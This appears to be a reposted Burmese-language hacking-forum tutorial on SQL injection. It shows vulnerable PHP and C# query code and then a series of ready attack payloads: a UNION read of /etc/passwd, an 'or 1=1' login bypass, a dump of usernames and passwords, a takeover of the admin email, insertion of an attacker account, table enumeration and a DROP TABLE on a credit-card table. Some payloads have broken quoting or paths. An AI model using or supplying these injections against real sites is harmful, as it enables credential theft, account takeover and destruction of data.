This Post is copied from www.ghostarea.net
SQL Injection Ultimate Tutorial
SQL Injection ဆိုတာ MySql DataBase ထဲက User Data ေတြကို Inject လုပ္ႏုိင္တဲ့ Vulnerability တစ္ခုပါ SQL Injection အေၾကာင္းမေျပာခင္ MySQL DataBase ဆိုတာ ဘာ SQL ဆိုတာ ဘာ ဆိုတာအရင္ၾကည့္ရေအာင္DataBase ဆိုတာကေတာ့ ရွင္းပါတယ္ Data အစုအေ၀းေပါ့
SQL ဆုိတာကေတာ့ Structure Query Language လို႕ေခၚတဲ့ Language တစ္ခုျဖစ္ျပီး Data ေတြကို သိမ္းဆည္ဖို႕ စီစဥ္ဖို႕ အထူးျပဳေရးဆြဲထားေသာ Language တစ္ခုျဖစ္ပါတယ္ ။
MySql ဆုိတာကေတာ့ ခုနက SQL Language ကို အသံုးျပဳျပီး ေရးသားထားေသာ နာမည္ေက်ာ္ DataBase Management System ေတြထဲက နာမည္အၾကီးဆံုး Open Source DataBase Management System တစ္ခုျဖစ္ပါတယ္
MySql မွာ Data ေတြကို Table မ်ားျဖင့္ ထားရွိပါတယ္ Tabel ထဲကမွ Column , Roll ဆိုျပီး ထပ္ခြဲထားပါေသးတယ္ ဥပမာ
No. | First Name | Second Name |
1 | Negative | Thunder |
2 | Ghost | Area |
3 | John | Smith |
ဆိုျပီး ဒီလိုထားပါတယ္ အဲ့ဒီ့ Tabel နာမည္ကို Hacktivism လို႕ထားရေအာင္
Query ဆုိတာကေတာ့ အဲ့ဒီ့ Table ထဲက Data ေတြကို ေတာင္းခံတဲ့ Request ေတြျဖစ္ပါတယ္ Select* ဆုိတာနဲ႕စျပီး Sql Language ရဲ႕ အဓိက Operation တစ္ခုျဖစ္ပါတယ္ ဥပမာ Query တစ္ေၾကာင္းကို ၾကည့္ရေအာင္
SELECT * FROM Hacktivism WHERE Second_Name=’Thunder’;
ဒီလို Query ေရးလိုက္ရင္ Negative Thunder ရဲ႕ Data ေတြ လက္ခံရရွိပါလိမ့္မယ္ ။ ဒါဆိုရင္ေတာ့ SQL နဲ႕ Query ေတြအေၾကာင္း နည္းနည္းသိသြားေလာက္ပါျပီ
ဒါဆို SQL Injection အေၾကာင္း ဆက္ရေအာင္
SQL Injection ဆိုတာ User Input ကို ေကာင္းစြာ Filter လုပ္မထားေသာ Developer ရဲ႕ အမွားက တစ္ဆင့္ User Data ေတြကို Inject လုပ္ျခင္းပါ
ပထမဆံုး Vuln ျဖစ္ပံု ေတြနဲ႕ Exploit Code နမူနာနဲ႕ Attacking လုပ္ပံုေတြကို တစ္ခ်က္ၾကည့္ရေအာင္
exploit.php ရဲ႕ Code ကေလးတစ္ခ်က္ၾကည့္ရေအာင္
<?php
$id = $_GET['id'];
$result = mysql_query( “SELECT name FROM members WHERE id = ‘$id’”);
?>
ၾကည့္လိုက္ရင္ သိသာပါတယ္ User Input တစ္ခုျဖစ္တဲ့ id ကို Filter လုပ္ထားျခင္းမရွိပါ ဒီေတာ့
http://site.com/exploit.php?id=1+union+all+select+1,null,load_file(‘e tc/passwd’),4–
ဆိုျပီး Browser က တစ္ဆင့္ Request ေတာင္းလိုက္ရင္ ect/passwd Directory က passwrd File တက္လာပါ့မယ္ ဒါကို Out File Injection လုိ႕လည္း ေခၚပါေသးတယ္ ( ခုနက Request မွာသံုးသြားတဲ့ union ဆိုတာကေတာ့ select statement တစ္ခုထက္ပိုျပီး သံုးခ်င္တဲ့အခါမွာသံုးပါတယ္ , load_file ဆုိတာကေတာ့ Server ထဲက File ကို Load လုပ္လိုက္တာပါ )
ဒုတိယ တစ္မ်ိဳးၾကည့္ရေအာင္ပါ .
ဒီတစ္ေခါက္ေတာ့ exploit2.php ရဲ႕ Code ေပါ့
$postsender = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘$postsender’ AND password = ‘$postpass’”)
or die(“<p>” . mysql_error() . “</p>\n”);
သူ႕မွာလည္း Variable ေတြကို ေသခ်ာဂရုမစိုက္ထားျပန္ဘူး ဒီတစ္ခါေတာ့
username:a or 1=1–
password:blank
ဒီလို Inject လုပ္လုိက္တဲ့အခါမွာ သြားတဲ့ Sql Query က ဒီလိုျဖစ္သြားပါလိမ့္မယ္
SELECT USER from database WHERE
username=’a’ or 1=1
ဒီလိုဆို 1=1 က true or true ျဖစ္ျပီး User Access ကိုလက္ခံသြားပါလိမ့္မယ္...
SQLI Part 2 : Attacking Examples
Part 1 : မွာေတာ့ SQL ဆိုတာဘာ MySQL ဆိုတာ ဘာ Query ေတြအေၾကာင္း နဲ႕ Attacking Example ႏွစ္ခုကို ေရးခဲ့ပါတယ္ ဒီေန႕ေတာ့ အျခားေသာ Attacking Example ေတြနဲ႕ Exploit ေတြကို ဆက္ပါ့မယ္ ။ဒီ Tutorial မွာေတာ့ URL Bar မွာမဟုတ္ပဲ User Input ထည့္ခြင့္ရေသာ ေနရာမွန္သမွ် မွာ Inject လုပ္မယ့္ Attacking Mode ေတြကို Example ေတြနဲ႕ ေျပာျပပါ့မယ္ ။ ဥပမာ Search Box လိုေနရာမ်ိဳး Email Address Input လုပ္ရတဲ့ေနရာလိုမ်ိဳးမွာေပါ့
Shopping Site တစ္ခုရဲ႕ Search Form ဆိုပါစို႕ အဲ့ဒီ့ Search Form ဟာ ေစ်း၀ယ္တဲ့ User ေတြ ၀ယ္လို႕တဲ့ကုန္ပစၥည္းကို ရွာေဖြဖို႕လုပ္ထားတာပါ ဒါေပမယ့္ အဲ့ဒီ့ Search Form ဟာ Filter ခံဖို႕ လြတ္ေနပါတယ္ ဥပမာ ဒီလိုေပါ့
if (txtFilter.Text.Length > 0)(
strSQL += ” WHERE ProductName Like ‘” + txtFilter.Text + ‘”;)
အဲ့ဒါဆိုရင္ Attacker က
milk’ UNION Select 0, username,password 0 from users –
ဒီလို Query ေရးလိုက္ရင္ ( milk ဆိုတာ Example Item ပါ ) User Name Password ေတြ တက္လာပါလိမ့္မယ္ ။
အဲ့ဒီလိုပဲအျခားေသာ Attack အေနနဲ႕
4.Updating Table
ဒီတစ္ခါေတာ့ DataBase Table ၾကီးကို Update လုပ္ပစ္ပါ့မယ္ ဥပမာ.
milk’ ; UPDATE site_database SET site_email = ‘admin@site.com’ WHERE email =’attacker@email.com; –
ဒါကေတာ့ Example ပဲျပတာပါ site_email က Website Admin Mail ကို Attacker ေမးလ္ကို ေျပာင္းပစ္တဲ့ Example ပါ
အဲ့ဒီလို Inject လုပ္ရင္ Query မွာ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email = ‘milk’ ; UPDATE site_database SET site_email = ‘admin@site.com’ WHERE email =’attacker@email.com; –
ဒီလို Request ျဖစ္သြားတာေၾကာင့္ Table Update ျဖစ္သြားပါတယ္
5.Adding New Record
ဒီတစ္ခါေတာ့ DataBase မွာ Record အသစ္ထည့္မွာပါ
milk’;INSERT INTO site_customers (‘site-email’,site-password’,'site-login_id’,site-lastname’) VALUES (‘attcker@email.com’,'hello’,'attacker’,'hacking attacker’);–
site_customer ထဲကို Attacker ဟာ သူ႕ရဲ႕ Record ေတြထည့္လုိက္တဲ့ Injecting Code ပါ အဲ့ဒီလို Inject လုပ္လုိက္ရင္ Query မွ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email =’milk’;INSERT INTO site_customers (‘site-email’,site-password’,'site-login_id’,site-lastname’) VALUES (‘attcker@email.com’,'hello’,'attacker’,'hacking attacker’);–
ျဖစ္ျပီး Record တစ္ခု ထပ္ထည့္ျပီးသားျဖစ္သြားပါလိမ့္မယ္ ။
6.Identifying Table
ဒီတစ္ခါေတာ့ Table တက္လာေအာင္လုပ္ၾကည့္ရေအာင္ ။
milk’ AND 1=(SELECT COUNT(*) FROM mytable); –
ဒီ Code ကိုသာ Inject လုပ္မယ္ဆုိရင္ Query မွာ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email =’milk’ AND 1=(SELECT COUNT(*) FROM mytable); –
လို႕ Request လုပ္ျပီး Table ေတြတက္လာပါလိမ့္မယ္
7.Deleting Table
ဒီတစ္ခါေတာ့ Tabel ကို Delete လုပ္မွာပါ
milk’DROP TABLE Creditcard; –
ဒီ Code ကိုသာ Inject လုပ္လုိက္ရင္ SQL Query က
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email =’milk’DROP TABLE Creditcard; –
လို႕ Request လုပ္သြားျပီး Table ကို Delete လုပ္သြားပါ့မယ္